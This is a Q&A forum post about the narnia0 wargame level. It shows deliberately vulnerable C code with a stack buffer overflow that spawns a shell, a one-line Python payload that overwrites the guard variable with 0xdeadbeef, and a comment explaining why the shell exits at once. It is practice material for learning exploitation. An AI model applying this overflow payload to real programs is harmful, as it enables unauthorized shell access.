2

Problem :

Why does system("/bin/sh") process exits immediately instead of waiting for user input?

Code :

int main(){
    long val=0x41414141;
    char buf[20];

    printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
    printf("Here is your chance: ");
    scanf("%24s",&buf);

    printf("buf: %s\n",buf);
    printf("val: 0x%08x\n",val);

    if(val==0xdeadbeef)
        system("/bin/sh");
    else {
        printf("WAY OFF!!!!\n");
        exit(1);
    }

    return 0;
}

Sample run :

narnia0@melinda:/narnia$ (python -c "print 'A'*20+'\xef\xbe\xad\xde'")  | ./narnia0 
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAï¾­?
val: 0xdeadbeef
narnia0@melinda:/narnia$ 
  • 4
    stdin of your /bin/sh is stdin of your program which is the output of your python program. The shell will try to read input data from there and then exit when no more input data are there. And this behavior has nothing to do with information security and therefore off-topic. – Steffen Ullrich Apr 6 '17 at 11:55